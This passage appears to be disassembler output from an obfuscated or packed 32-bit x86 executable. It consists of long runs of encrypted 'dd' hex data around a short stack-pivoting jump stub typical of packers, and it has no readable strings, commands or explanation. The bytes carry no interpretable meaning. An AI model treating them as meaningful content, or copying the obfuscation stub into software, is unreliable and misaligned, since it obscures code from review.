		dd 7D2640CFh, 0ED000000h, 7BA9D413h, 0C2E614B1h, 202B5984h
		dd 0AFDD0846h, 3F3A34E5h, 0E34E318Bh, 0FA236046h, 12F91BCh
		dd 0B8A5D0F3h, 4371A4DEh, 0B8F6DC79h, 2243708Dh, 0C9F23274h
		dd 0A946BC16h, 2C5A85C3h, 0CCFA2D68h, 92195CFDh, 40CF3DDEh
		dd 81F2h, 84C2B800h, 0A0DCB659h, 0B097C071h, 3EAC5E36h
		dd 0BDDEE9A1h, 0C9734F0Fh, 3CD94F16h, 0BEEC1756h, 267EF746h
		dd 88CE7CE8h, 1616C973h, 0F3213EA0h, 0EAAC5A7Bh, 0F416C91Ah
		dd 0BFFBE17Eh, 1ECCED90h, 16C91A58h, 9B53F066h,	0C91A3E03h
		dd 0DB064416h, 673E94ADh, 5F30BD8Fh, 6D9BC203h,	0F3D6CA9h
		dd 2352C945h, 4134537Bh, 94DFB1Ch, 9516C976h, 8DBBE625h
		dd 0E5C461C3h, 40CFBB3Bh, 135h,	85C2FB00h, 7384B356h, 0A155C2ACh
		dd 0DA9E56F3h, 7B3F6DA0h, 20E4123Dh, 0D85B3E6h,	6BE7B7BEh
		dd 0E62381F4h, 9619AB7h, 0DB48F699h, 2B1C3192h,	0FE3812B5h
		dd 376594D1h, 0B66E0B6Dh, 6885B8F2h, 6FC64882h,	0EF84BE2Ch
		dd 0F9043294h, 81BBE01Fh, 0F456204Eh, 33DB9D57h, 0A1DB1320h
		dd 0A90B3674h, 4B7AB77Bh, 0EC1F591Dh, 2B4EF4BEh, 0F544544Ah
		dd 0B7EA2480h, 477AB49Ah, 0E81B5519h, 8CB7F6BAh, 2F5E9A5Eh
		dd 9CDB3701h, 0E85F4371h, 3289118Dh, 33236311h,	35AB1320h
		dd 92126398h, 29082558h, 4526FE67h, 0DF973E6Dh,	3D09644h
		dd 68DE1320h, 113401B7h, 0A643A5D4h, 0FB85h, 176F4B00h
		dd 0FD5604A7h, 291C3209h, 87C185B3h, 17513754h,	0B8F2B6E4h
		dd 8675785h, 0CAFD376Dh, 165180ADh, 0CCFF3A9Fh,	0B9A71B1Bh
		dd 0C6933D1Ch, 638D4526h, 53000000h, 3A6186Fh, 0C919C155h
		dd 0EB280216h, 295786C2h, 5CFFD5Fh, 27C18668h, 6DDDF649h
		dd 932B59BBh, 16C9B1D3h, 3E6C9BD7h, 0DF0D407Ah,	415D1867h
		dd 2F6943D8h, 0EBAB59FCh, 0F316C9B1h, 0CAABE07Dh, 0BE6F3087h
		dd 0DDCD8DFFh, 0B866096Bh, 16C94E26h, 0B795B228h, 6Ch
		dd 75DAC9F8h, 0FDB81F29h, 176F3260h, 555604A7h,	0E11C321Eh
		dd 58323D6Bh, 684EEB1Eh, 0F8DEFB2Eh, 0C55D8BBEh, 1320163Eh
		dd 65F87DCCh, 86234A8Bh, 0C0E466A0h, 762C5551h,	0B2EB086Ah
		dd 9947EA5Ah, 19D0DD77h, 0C1745BBh, 0F5793DEBh,	0F8516D0h
		dd 1F528C72h, 0DF960DF1h, 7AA1A72h, 0A0CF0CE6h,	510BA872h
		dd 1C2083AFh, 32607DF3h, 3665A17Bh, 98086099h, 6CA547F5h
		dd 77ED1C39h, 0D00F3E49h, 458F3BF4h, 0D00AF08Dh, 0DF20FA9Dh
		dd 8E741BB8h, 0BDE82754h, 1952D5Bh, 0BF087691h,	5584D99Ch
		dd 1AF22AAh, 58479BDh, 211ACB41h, 8CB7F587h, 9532945Eh
		dd 254275AFh, 0A4D2053Fh, 8331A5E0h, 5849AC3h, 0C5F355CBh
		dd 520B6AE1h, 0A20B1323h, 61FE5C1Eh, 0F10E417Bh, 835DD10Bh
		dd 0A1E51548h, 2D05848Ch, 0EE215BB7h, 3A25E8Ch,	0E2000000h
		dd 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h,	16541846h
		dd 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h,	68864775h
		dd 5201h, 68240489h, 3A58h, 68241489h, 1175h, 56240489h
		dd 5962F3BEh, 0D1D6F740h, 0F2C681EEh, 0C160DD7Bh, 0DEF706EEh
		dd 2214C681h, 0F28908F3h, 8124348Bh, 4C4h, 48B5400h, 4C48324h
		dd 2ABE5652h, 315D0D6Bh, 5E042474h, 8108408Fh, 6B2A0870h
		dd 34FF5D0Dh, 0C4835824h, 2434FF04h, 4C4815Ah, 0E9000000h
		dd 0FFF91C0Bh, 42A6685Ch, 4D66D2FFh, 0DC37D7B6h, 0F0637AB8h
		dd 0FFC50305h, 0B4C595E0h, 59FE2677h, 0A10CE705h, 0E08F0134h
		dd 2FCB570Dh, 0BA548A25h, 8CED7A4Dh, 37325541h,	6C8D9570h
		dd 5C568E39h, 0E8EDCE1Eh, 0DCEA095Fh, 0B36FDB4Ah, 0DB2BC10Eh
		dd 5CE93579h, 0FA853D3Fh, 0A84C9C23h, 1558D548h, 1070E83Dh
		dd 3289786Ah, 3DE94842h, 0B557464Ah, 0DC440F48h, 85141224h
		dd 806F4050h, 10B54C47h, 58D8D14h, 0F505F065h, 26558D89h
		dd 95205E9h, 0E91621BDh, 85C75805h, 5E90805h, 5E4Ch, 2D65BD31h
		dd 85C705E9h, 5E9163Dh,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 1BC35242h
		dd 2352711Ah, 0E90D2185h, 958B5B05h, 5E905FDh, 4BDB5FFh
		dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 2D6C70C3h, 0FFCBDAC7h, 0E90BC595h, 0F5BE6605h
		dd 5E956h, 90250000h, 6ABB1366h, 9595FF00h, 8B05E91Eh
		dd 1569EBC0h, 1097B82Ch, 0AC3F8269h, 3A1FF4F5h,	5E511F31h
		dd 0FB3A89BDh, 66957DD5h, 54E5C24Eh, 6FA76389h,	0E155AE56h
		dd 8EE0B65Ch, 0E927E473h, 5F07B549h, 0D7782D4Fh, 29C187F9h
		dd 71207969h, 96E8136Dh, 81FDF7C8h, 84F197DFh, 7EFFBE16h
		dd 0EB56D24Fh, 0E895B7CFh, 2047F138h, 0D3DB537Fh, 73F2EE04h
		dd 0EA6D9EA8h, 0B43E8A83h, 0E96204EBh, 5AE95063h, 44000005h
		dd 0DAC0DD04h, 6C526F9Eh, 0FDE3002Fh, 8C728FC2h, 206234Eh
		dd 719CDAE0h, 62D6E54h,	99C403E9h, 295C967Ch, 0B05E3F0Ch
		dd 13397FEEh, 0C2B997F0h, 63275588h, 0F7DDFA25h, 515C8ABDh
		dd 1A3C8230h, 4CC216C9h, 5C8FC9AFh, 0FF2E6A2Eh,	86862D5Ch
		dd 5088AA25h, 0CAEDFBB3h, 8CBFF9ABh, 0A6D10FE9h, 3D7C6209h
		dd 0D00FF512h, 0E72802A5h, 0FC2364C0h, 0C29CA75Fh, 0D4BA5786h
		dd 5A3E6C93h, 0D31292E3h, 0ED2B05A8h, 19CA94C2h, 0ECC80979h
		dd 4CF390A3h, 56F92C66h, 0E4123D7Ch, 85C9771Ah,	916C97Fh
		dd 0A63EF693h, 16C97F9Dh, 0E27BFA19h, 0F13D42B3h, 3AD79EB9h
		dd 0CF4EB55Bh, 6CAB40h,	0C2710000h, 8F275588h, 16C91ACDh
		dd 356396D1h, 0DA083371h, 0AEF67FF6h, 4C16446Fh, 8AABC2EAh
		dd 194772B0h, 1A5F1F4Fh, 0E95F16C9h, 4D5E174Ch,	40CFD783h
		dd 0E9Dh, 95436400h, 0E936EED1h, 336DDDh, 0C2D3019Eh, 65295786h
		dd 8CCFA29h, 0D6F79ACDh, 0C91A6628h, 55F26816h,	96C8F9Dh
		dd 13305F9Bh, 87C6F32Dh, 2642E5Ch, 84C2B7E5h, 2B672B59h
		dd 1A490DBBh, 0DF5516C9h, 5F4F7Dh, 85F12F75h, 0C91A97D7h
		dd 3FA11716h, 0CF023C22h, 0DD6796A1h, 5B86C569h, 26B2632Dh
		dd 0B7F7A581h, 3716C9E5h, 0DCC25FC1h, 7E42709Fh, 24E8163Dh
		dd 738CBAE5h, 0F37FF9CCh, 0E003A9CDh, 1A20995h,	0BE793774h
		dd 719740CFh, 5D000000h, 3C65A17Bh, 0D9A3D100h,	0B6F4DA77h
		dd 5C995D8Bh, 0D6F1FF2Dh, 1A4707B5h, 0D14716C9h, 0DE0C3775h
		dd 33427714h, 0EB083371h, 0C44DC705h, 0B6C8234Fh, 561A48AAh
		dd 0EBBAE81Bh, 0C0802B4Ah, 0E040CFD7h, 50h, 5984C2A6h
		dd 0FD28672Bh, 9ED10BCFh, 426DAC70h, 0DF2AACE6h, 0A5256E06h
		dd 0D3C3F153h, 8D9D0174h, 0FE316C46h, 5B492C61h, 0A7D5F21Dh
		dd 295786C2h, 0C91AB091h, 15EF0616h, 4574B0D9h,	8FEB4D17h
		dd 53882550h, 0D7C78922h, 1D940CFh, 9F000000h, 0B2E54C7Bh
		dd 8283DA48h, 3DC3CED1h, 47E42136h, 52F52461h, 700D3C78h
		dd 46BAF4B8h, 0C978D698h, 62D816h, 0A57FEED2h, 0D3023F68h
		dd 0DC79DBA5h, 99D6CEA7h, 0CE0D3270h, 49AB75A3h, 0D2EF511Bh
		dd 2ED14199h, 3197E380h, 78B3231Ch, 6640E345h, 95C0FE2Bh
		dd 0D3DE9633h, 3AAFEBA4h, 1AB744D9h, 92CDFA34h,	0B3E0FD5Fh
		dd 868C3784h, 4DA9D303h, 6147E40Fh, 8EBDFA27h, 0E7A75560h
		dd 0E713204Ch, 7FAD0F71h, 204CA5E7h, 4F267513h,	34ACDF0Eh
		dd 7344A99Fh, 904741C2h, 0BA5769A5h, 0C4679AD4h, 0C43C7595h
		dd 0E17EACDEh, 0E71A543Ah, 88BBF5B9h, 6A0B6A5Ah, 94D3003Ah
		dd 0C0713B69h, 6291FE3Ch, 0A1BE20C2h, 26BB1EC2h, 17C1245h
		dd 6FD80000h, 0E304A717h, 1AD0ABB4h, 0B24FAC81h, 32E35BF8h
		dd 0E7158B1Ch, 13B6E923h, 6323D1F2h, 6B1320C1h,	0C181C5F5h
		dd 970D1320h, 336D53FAh, 0D40ED200h, 0C1ECB260h, 7CF21320h
		dd 9DFCEC1Ah, 356485D8h, 0BB0996B2h, 652959C9h,	6913205Dh
		dd 2B5A97F3h, 0B09633FDh, 12540276h, 9C13205Dh,	0C8A7C426h
		dd 45269018h, 3F18h, 186FDE00h,	0C1E203A6h, 4C7AADE7h
		dd 1A0C5282h, 1C9216C9h, 1951C57Fh, 67DD16C9h, 1ADDA139h
		dd 33D016C9h, 9AEC1B42h, 0A8AEABE3h, 1F76AF4Ch,	0CA5C0AADh
		dd 5416C913h, 0D3E3C1DEh, 23000000h, 3766176Fh,	462A6F93h
		dd 40063609h, 4E16C998h, 0B2D376D8h, 6B5F1883h,	0F5D68577h
		dd 7EE29380h, 0C7811EE1h, 1C3249C2h, 1A3BDE54h,	0A5D50440h
		dd 132041E1h, 26D477EDh, 13204160h, 0A35BF86Eh,	0CF72A5DFh
		dd 5B89B8F5h, 674DF491h, 93C6002Dh, 0DF4B4C65h,	5968BB9Ah
		dd 0CF6795F7h, 1320D830h, 0E00E3576h, 6465DB1Ch, 0F0DCB332h
		dd 4A2E5CBEh, 0ECFCA2D3h, 5685D89Dh, 0FA4125C8h, 15FB98A4h
		dd 528BA8DBh, 284F90FAh, 7523C6h, 4E19D031h, 4270A3DEh
		dd 52731678h, 0F116A223h, 95C539C7h, 16D06CD1h,	12CA67DDh
		dd 0B3E1144Eh, 341D58CFh, 43772DCh, 7AA0CD6h, 22BFF22Dh
		dd 0BEFAD4F5h, 4738F28Fh, 3C1C2043h, 0C7F52862h, 87E60FDh
		dd 176FBDEBh, 215604A7h, 6D1C3935h, 0CB05C9F7h,	5B957B98h
		dd 0CB62FA28h, 1C9A7F2h, 0D30D97DEh, 639D83A0h,	0BE6C8D30h
		dd 46AAFDF8h, 3BF39006h, 1AC83C77h, 46AAFD54h, 93EB1A56h
		dd 3E18BB1Dh, 7D35D201h, 51532299h, 0E1C7E417h,	8A4674A7h
		dd 3, 0C233A1CAh, 692D5B82h, 0ACEFC2Fh,	0AE72A0CBh, 5418466Dh
		dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h
		dd 8904EC83h, 0BB682404h, 89000012h, 8952242Ch,	4C281E2h
		dd 81000000h, 4EAh, 24148700h, 2414895Ch, 0F0657E68h, 242C8B05h
		dd 4C481h, 0EC830000h, 24248904h, 4240481h, 5A000000h
		dd 24348155h, 2F2D3904h, 5608428Fh, 2D3904BEh, 872312Fh
		dd 24148B5Eh, 5E08950h,	4, 8704C083h, 0FF5C2404h, 835D2434h
		dd 24E904C4h, 57FFF915h, 3AFA08BDh, 6A5FB8CEh, 0C50305F0h
		dd 65DEE0FFh, 392A2077h, 176016EAh, 7A231A7Bh, 15D732F9h
		dd 247A13C3h, 77101063h, 1B723BD0h, 89C64C45h, 0CB003942h
		dd 0B1883FD9h, 47960F13h, 93A82BE5h, 7A4B497Eh,	556F58E0h
		dd 0C2A6514h, 0B0C70BBFh, 2F015312h, 0AB371301h, 2856518Dh
		dd 0FD86177Eh, 4EB0E97h, 0A5A7E1Ch, 583E9h, 1B428200h
		dd 0ADDC18FEh, 3E6DAA90h, 0CD003B21h, 618CCAB0h, 18A24044h
		dd 0AC92AFDAh, 4127446Bh, 0D4BAD702h, 7D4A679Ah, 71A8EE9Ch
		dd 0DD361339h, 544C7BFFh, 0E4ECB9E9h, 0E2114EAAh, 0F2255F45h
		dd 56C200C4h, 0C938E6A8h, 3978E816h, 0B416E00Eh, 154F3552h
		dd 24653FE2h, 6805CFFDh, 3EB2ECB0h, 0C938CE90h,	1A0BD016h
		dd 7DB069CAh, 0EC1A7CDEh, 4C12C0E1h, 5216C9ACh,	0FF152BDCh
		dd 484444B8h, 5A89C5ABh, 7AFB1E2Ch, 4CCE09E3h, 5DF9DB14h
		dd 0ABD93BB6h, 245E44E1h, 0CDA7D4F1h, 67315F92h, 709ED10Bh
		dd 0E42309A6h, 0FD6F2C6Ah, 0E4461750h, 82C09AC7h, 95D4BA57h
		dd 37783C6Ah, 0F81629C1h, 0A0020E9Ah, 466DAE72h, 0EA155418h
		dd 5796F2BCh, 7D793DEBh, 0F8516C9h, 11AE7FADh, 0D4034064h
		dd 0FE7ADCA6h, 4C77B58Fh, 82B7541Eh, 9B496AF3h,	16C97DDBh
		dd 0EAD06DE3h, 0C38031ABh, 8B46912Fh, 0EC260C29h, 0CEF38BB9h
		dd 6816C998h, 0D17F2C49h, 0CF40CF55h, 89h, 619B7596h, 636002Eh
		dd 16C96C40h, 8735D84Eh, 16C96CC7h, 86B451C7h, 0B25588C2h
		dd 9209AD8h, 78CB84F2h,	0B26A0769h, 0C9A2561Ah,	9B758C16h
		dd 5C912E61h, 75234419h, 16C9A231h, 0CBAA47BDh
		dd 40CF6F05h, 11Bh, 86C2E100h, 29652957h, 3F7D57FAh, 87CDE614h
		dd 70C666B5h, 0EFA744A6h, 86C3F02Bh, 0D2266816h, 32A816C9h
		dd 76D8A2D0h, 18478448h, 0BDE826EAh, 4134AB8Fh,	0E194B75Dh
		dd 3B5887C3h, 0CBE81B55h, 5F84C29Dh, 0FBC5F322h, 80A8A14Ah
		dd 94F618A6h, 3766A266h, 0BBBA1909h, 6380ABE9h,	27671536h
		dd 0A716C909h, 6998D531h, 0EED4713Bh, 8F5381B4h, 26F52352h
		dd 4679B38Dh, 7CB14E18h, 0C6FEB2F9h, 731240CFh,	0D9000000h
		dd 6997BEFFh, 0C2D4029Fh, 672B5984h, 0BFCDFB2Ah, 8DCBD99Ch
		dd 215F4562h, 0C904C8F6h, 0BB5A6047h, 0CDA58526h, 0A6DB5C74h
		dd 87B51779h, 4D5E17B8h, 40CFD593h, 5AADh, 84C27300h, 0A0DCB659h
		dd 111CD471h, 0A1CFF637h, 13759CDDh, 26519076h,	0F2B46283h
		dd 0FC16C91Ah, 6D31E986h, 11D5032Eh, 179A7D2h, 0A0E1C3B2h
		dd 0B8071779h, 7EA9E7BDh, 5A7B3361h, 0C91AEAACh, 0E17EF416h
		dd 6290BFFBh, 0C91AF9CAh, 571E3D16h, 0CFD78C54h, 1A440h
		dd 0C26A0000h, 64285685h, 0E5C9F72Ah, 3C7B5576h, 1A9DE111h
		dd 0AB2116C9h, 89CD90Eh, 467F9CCBh, 0BADB7EEEh,	4876A1E0h
		dd 466BE72Fh, 66C81DA0h, 63920FC9h, 7EF41C31h, 76244550h
		dd 1320A930h, 0C5AB48BEh, 553B588Bh, 22BAE81Bh,	1320A95Eh
		dd 45185DACh, 5130F816h, 0EBF5181h, 0C6E0B589h,	13F99609h
		dd 2903A6D9h, 0C892C0EBh, 649E842Bh, 53F0331h, 55B4A4D2h
		dd 174A8420h, 84325374h, 13205DC2h, 602656CCh, 6E13205Dh
		dd 0B6EE17A9h, 0D1337555h, 0E2AE8D34h, 0FE452614h, 11Ah
		dd 0A7176FC4h, 9FD5604h, 0B9291C32h, 0C0EE507Bh, 728FC2FCh
		dd 30762445h, 6513202Bh, 0E262BCCBh, 0B42A82ECh, 0C4F73117h
		dd 6598D296h, 8DE84737h, 8DAADD17h, 2691E2AEh, 3EFE45h
		dd 6FC40000h, 0E203A618h, 6C9ACD08h, 0DB4B05A2h, 6316C919h
		dd 6727BFEDh, 5616C91Ah, 3E95BCB9h, 5FA29CCh, 89F1440Ch
		dd 0A8C9F693h, 346291CEh, 8313CD6Ah, 8B16C956h,	9F1AF815h
		dd 5A000000h, 4A7176Fh,	321E5556h, 3D6BE11Ch, 8EBD3F79h
		dd 8A8E3D1Eh, 29A0733Dh, 36245678h, 1A5731D4h, 0EF689E9Ch
		dd 0FB5DC93Fh, 97D1B75Eh, 692C164h, 0EFAF7713h,	265591EDh
		dd 0CA39D189h, 0C132032h, 0EFAF5DD1h, 0EF132032h, 25E91779h
		dd 138BB9E8h, 0DDEDB1C4h, 9C76E78Eh, 3C06345Bh,	32ABEB99h
		dd 0BD331320h, 0CD003A20h, 0AF1F77B0h, 0E1BCEB0Ch, 4B7EB90Eh
		dd 47D549Ah, 889EAD67h,	6EE419D0h, 0F427C40h, 0EF86FDE1h
		dd 0F79A0A62h, 0FC8AA7D6h, 0D5123721h, 0AC4F7E38h, 1D931C20h
		dd 176FD200h, 675604A7h, 601C393Fh, 0F01E4586h,	31A78926h
		dd 0E01EF803h, 0EF1A59B5h, 745AF7C1h, 4EA073Ah,	0D16997CAh
		dd 139F708Dh, 0B664CC0Dh, 1C937EF0h, 0F82688FEh, 9BC9F834h
		dd 56482DCAh, 0BCE88DB0h, 7DAC4F82h, 4BF9405Ch,	1C93DB0Bh
		dd 826C1D93h, 0A14FF287h, 1C935ADDh, 27CE6BE1h,	9DDA0741h
		dd 5A3F7F2Dh, 49BF1C93h, 4C5785E7h, 69063572h, 0E7154883h
		dd 0BBE98C03h, 4B314E81h, 7CA3E411h, 204B8A4Eh,	722E5CBEh
		dd 3, 0C233A1B2h, 692D5B82h, 0ACEFC2Fh,	0AE72A0CBh, 5418466Dh
		dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h
		dd 815A5452h, 4C2h, 4EA8300h, 5C241487h, 5E08950h, 4, 42Dh
		dd 24048700h, 240C895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h
		dd 57241489h, 0D9506768h, 0E7C15F73h, 0B9C78107h, 0F7410450h
		dd 87EF81DFh, 89CC6310h, 8B545FF9h, 0C4812414h,	4, 8BB53h
		dd 0D3010000h, 24048151h, 73220E43h, 2B81038Fh,	73220E43h
		dd 24148B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 3Ah
		dd 0C1736184h, 0F07027B8h, 0FFC50305h, 3F45BCE0h, 1F6F8251h
		dd 0ADEB945Eh, 8162173Ah, 0B6213F77h, 4A3DAB57h, 0C223791Fh
		dd 78C6C255h, 50291679h, 88C77C42h, 951D306Eh, 0AF19D031h
		dd 748B225Eh, 0C25A053Eh, 7486AE67h, 0AD49CA3Ch, 0BB45123Ah
		dd 63624D59h, 0F0AAAA40h, 0E48D8D42h, 6A05F071h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0E89BC355h, 0BDB643CEh, 89767591h, 0E926558Dh, 0C3B86605h
		dd 0E0BE66D8h, 585C719h, 1C05E908h, 6A00005Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 37E3C357h, 0F0B3D3F8h, 9019589h, 85C705E9h, 5E9163Dh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A0C35646h
		dd 0EB6062BCh, 1DA1B58Bh, 0B5FF05E9h, 5E9257Dh,	6E856h
		dd 7F1A0000h, 3F0F2EDh,	0BE8h, 0A5B3B00h, 0DA45FE77h, 3D0D86C1h
		dd 0FF5B5A58h, 0E90BC595h, 6AF805h, 1E9595FFh, 0C08B05E9h
		dd 2BC90DEBh, 478D294Dh, 71A6698Ch, 0E84E6C3Bh,	10h, 5769CF5Dh
		dd 30E161A2h, 0B7A9F44Fh, 230C8B3Fh, 0F5AFA8Bh,	0F88h
		dd 0AE900h, 0F03B0000h,	0C7359352h, 0F253C812h,	6427C281h
		dd 89600000h, 0E90B15BDh, 0C0336105h, 2B35BD31h, 34FF05E9h
		dd 59FB8B10h, 27AD9501h, 0F18105E9h, 5422C60Fh,	81FFB70Fh
		dd 655A5CC1h, 0C9BD0B20h, 8105E924h, 0E229E4C1h, 79BD8B27h
		dd 8905E91Dh, 0B70F020Ch, 800FF9h, 83000000h, 0DE8B03E8h
		dd 68A0F48h, 9000000h, 0E92A45BDh, 70F88105h, 0FFFFF9Ch
		dd 0FFFFA985h, 0EDBD89FFh, 0EB05E928h, 0D01CB004h, 5AAE957h
		dd 0E1210000h, 7BB79DBAh, 0C492F4Ch, 9FDAC0DDh,	2B694F6Ch
		dd 3DFE300h, 314E79B7h,	0C6E30A4Bh, 5976A1E0h, 0E9063973h
		dd 0C98D3B1Ch, 0D5133968h, 88C29E7Ch, 9ED8B255h, 3B793D6Bh
		dd 5911AE10h, 0F2C5795h, 19BCEF29h, 8E82BFEAh, 49E69C36h
		dd 6093CD91h, 0C2326E32h, 0C9065214h, 0AEEC5C16h, 91BF2183h
		dd 48156083h, 6357927h,	43B916C9h, 0DD7AADE7h, 5690BDF7h
		dd 0C92BF523h, 5C87C6ACh, 0EF1A593Fh, 95BCFDC1h, 690C8367h
		dd 0B0DB1AF4h, 351BB882h, 0C8AECBF6h, 952D5B8Eh, 16C906ACh
		dd 218AEB0Ah, 40CFCB7Fh, 50813665h, 6F20538Dh, 8320937Ah
		dd 5F62h, 5A7B2800h, 0C91AEAACh, 0E17EF416h, 423FC1FBh
		dd 7AEA0920h, 54832688h, 7F9D87A8h, 0C8801D19h,	0C9896C30h
		dd 0EE87A616h, 0CF4413BDh, 10D40h, 0C2D30000h, 65295786h
		dd 8CCFA29h, 5E6C9ACDh,	32742243h, 0BC16C91Ah, 174A946h
		dd 0FF3E67A3h, 285572D4h, 49E60D4Eh, 0BFFC2963h, 0E3112E90h
		dd 2B5984C2h, 0C4022B67h, 0F0A16B99h, 3549B1E4h, 5E0163F5h
		dd 79164984h, 372D1C1h,	1B3863A1h, 9AC8FB35h, 4C1B99D6h
		dd 3999BF8Ch, 24F32183h, 7B9F283h, 0D40CF26h, 24C7F633h
		dd 0C9F33076h, 0AB48BE16h, 878Ah, 84C25000h, 2A672B59h
		dd 0EB2958FBh, 0DB803AA9h, 2D3BF390h, 0FB396B0Ah, 8FCDB3D0h
		dd 0FC2B3664h, 0D18D18B8h, 4EA87CEh, 19F396C9h,	5810ADDCh
		dd 0D08DE889h, 5290B9F6h, 0CD97C527h, 0FF9F5130h, 0CBA540CFh
		dd 1B34628Dh, 0D26AEB1Bh, 0C360C214h, 65A2h, 84C26800h
		dd 6695B659h, 0A46D1FDCh, 0DCA2D26Fh, 0E216C9D2h, 5317CF6Ch
		dd 6C46E914h, 0AA62FF32h, 4D7BAAE6h, 0F01E4D89h, 0ABF3821Fh
		dd 7B294C9Bh, 0C7F5123Dh, 295786C2h, 0C91AB091h, 1896D216h
		dd 9FDAA063h, 2D5BBD74h, 0D2002B69h, 3DA6CD0Eh,	0A1C9D5A0h
		dd 0E8B8F382h, 840CF68h, 6, 8AB9F5CFh, 0A17BBFEDh, 3D073564h
		dd 4E7DBAA0h, 0FF3B1520h, 3BD8A2D0h, 0BAE81B55h, 593867D6h
		dd 0EB1EF47Eh, 0ED1B4684h, 0EF24C123h, 0B2E11E86h, 94045C95h
		dd 0B8DE43F1h, 0B2281C31h, 5986C084h, 0F8C2F01Bh, 0D0325D9Ch
		dd 6093CDB3h, 7AA5E3BDh, 2DE5824Ch, 2072D395h, 6897D313h
		dd 0E35763Ah, 1C4A71B2h, 0D7C7AE4Bh, 0A7FD78C7h, 0D403406Dh
		dd 0D77ADCA6h, 0F194BFFDh, 20720343h, 78158B13h, 7EB1EBD1h
		dd 25528C50h, 0C48EBCE7h, 36703462h, 0D411D503h, 466977A5h
		dd 88E76F2Fh, 4A7DB7EDh, 0BF824E2Dh, 749E4526h,	64000001h
		dd 0B866176Fh, 16C91AF6h, 0E82682F8h, 63C58FBDh, 9A112C0h
		dd 8F051C32h, 30639D61h, 74125E8Dh, 0BAE80F50h,	0BD8F3FF0h
		dd 6349F08Dh, 8EC1FC29h, 7F1B88DDh, 0E70462Ah, 0B5E21CE0h
		dd 4F19477Ah, 0BFFBBFEDh, 629E6290h, 0D4F70533h, 1675FDA1h
		dd 0D80B455Fh, 4834DCBBh, 46204526h, 0E3ADDB0Ah, 7F1C4B87h
		dd 705Eh, 186F2400h, 0C15503A6h, 4D16C919h, 47759CDDh
		dd 57781B7Dh, 1AC68836h, 52C816C9h, 0C91A5C22h,	0F61D5E16h
		dd 30A6FEC8h, 0A1D0DB93h, 384F6CC0h, 0BC562D8h,	16C9474Bh
		dd 0B7E5104Fh, 518DB6F3h, 0C82AF422h, 0A2D3229Ah, 7FF693FCh
		dd 66097BD2h, 85224D8Ch, 4434AA58h, 0C43A16C9h,	0DE094721h
		dd 0A249E6B0h, 0A2C4h, 0EC2B0500h, 2CC993C1h, 0A7176FFEh
		dd 1E555604h, 6BE11C32h, 0EA03323Dh, 138539BCh,	0CFF63793h
		dd 9E124C32h, 200FAEF0h, 58BA3013h, 0A71B553Bh,	200FB5F9h
		dd 61C33913h, 0F649B33h, 6BAA1320h, 144E1240h, 64C3B3E1h
		dd 2E7D8D11h, 0F0235D47h, 0D2429AD3h, 0EA19552Fh, 0B872204Dh
		dd 3E19D05Dh, 9CD69AC8h, 3B773B69h, 0DF1ADE0Ch,	2F8E7EACh
		dd 1FC80946h, 0ABB4017h, 8EBD2CA8h, 715BC9F2h, 51862381h
		dd 65D52D24h, 0C6C614C2h, 64851C20h, 0EC7B5D35h, 0C7F77D85h
		dd 1320AC87h, 12F49107h, 6F517F9Ch, 5604A717h, 1C394884h
		dd 0AA6E9C12h, 3A203D70h, 79FCD00h, 0CD19445Bh,	2E68425Dh
		dd 4C295EFBh, 0CEEB1E58h, 8C3AAEE8h, 41190CCAh,	0CEFC5ED4h
		dd 977894C3h, 0F51147CDh, 4377258h, 1C4B8761h, 0CF8724EEh
		dd 6F9DD00Bh, 15436AABh, 37B1EF4Bh, 0F5DA5863h,	1341A30Fh
		dd 0B3E1144Fh, 552043E9h, 1F56CD49h, 0FB184B85h, 96D3ADCEh
		dd 3F6F3967h, 4119737Fh, 866C097Fh, 2FEB194Ch, 15h, 0AC5A7B6Fh
		dd 16C91AEAh, 2DDB7EF4h, 16C91A69h, 5B62FF75h, 5B82C2EDh
		dd 0FC2F692Dh, 0A0CB0ACEh, 466DAE72h, 0EB165418h, 90BBF9BDh
		dd 30639E62h, 0D2013E02h, 75A4E0A4h, 95688647h,	5400006Fh
		dd 8324048Fh, 56042404h, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 7868240Ch, 89000024h, 0B850242Ch, 9520164h, 3C7E1025h
		dd 8E0C133h, 67039F0Dh,	8ABA5244h, 4222C407h, 681DF281h
		dd 0D0090595h, 1215255Ah, 742D0F4Ah, 8901518Fh,	396858C1h
		dd 8900003Dh, 4812424h,	424h, 81515D00h, 0C762434h, 458F7D15h
		dd 8B85008h, 1000000h, 763081E8h, 587D150Ch, 52242C8Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0C8B5C24h,	0E0895024h
		dd 405h, 40500h, 4870000h, 0B8E95C24h, 0B3FFF907h, 382373DBh
		dd 79B713E2h, 2C78BC76h, 0F0778DB8h, 0FFC50305h, 9C8DA6E0h
		dd 178BE049h, 0F9875E5Fh, 722DBE01h, 0BC4775Bh,	736C5246h
		dd 100FE057h, 4C934A16h, 0B9B16614h, 0C0DE7563h, 0DBDDA53Fh
		dd 2D2D252Eh, 0D7EB636Fh, 0CA61E311h, 0A9353761h, 3086F853h
		dd 0B3F2D308h, 0C561B34Fh, 8B82F008h, 78F3FA0Bh, 78B5522Eh
		dd 594AA500h, 0E4545C05h, 28D71A66h, 714B0C77h,	0F5DD007Eh
		dd 6AA79E01h, 85267519h, 0B3B5CD15h, 71F47457h,	45110455h
		dd 4D04EB49h, 0E9080C82h, 534h,	6380A7E7h, 0F512417Dh
		dd 86A3D20Fh, 153265A0h, 0A9C6F12Fh, 37753DA5h,	0C809EF0Ch
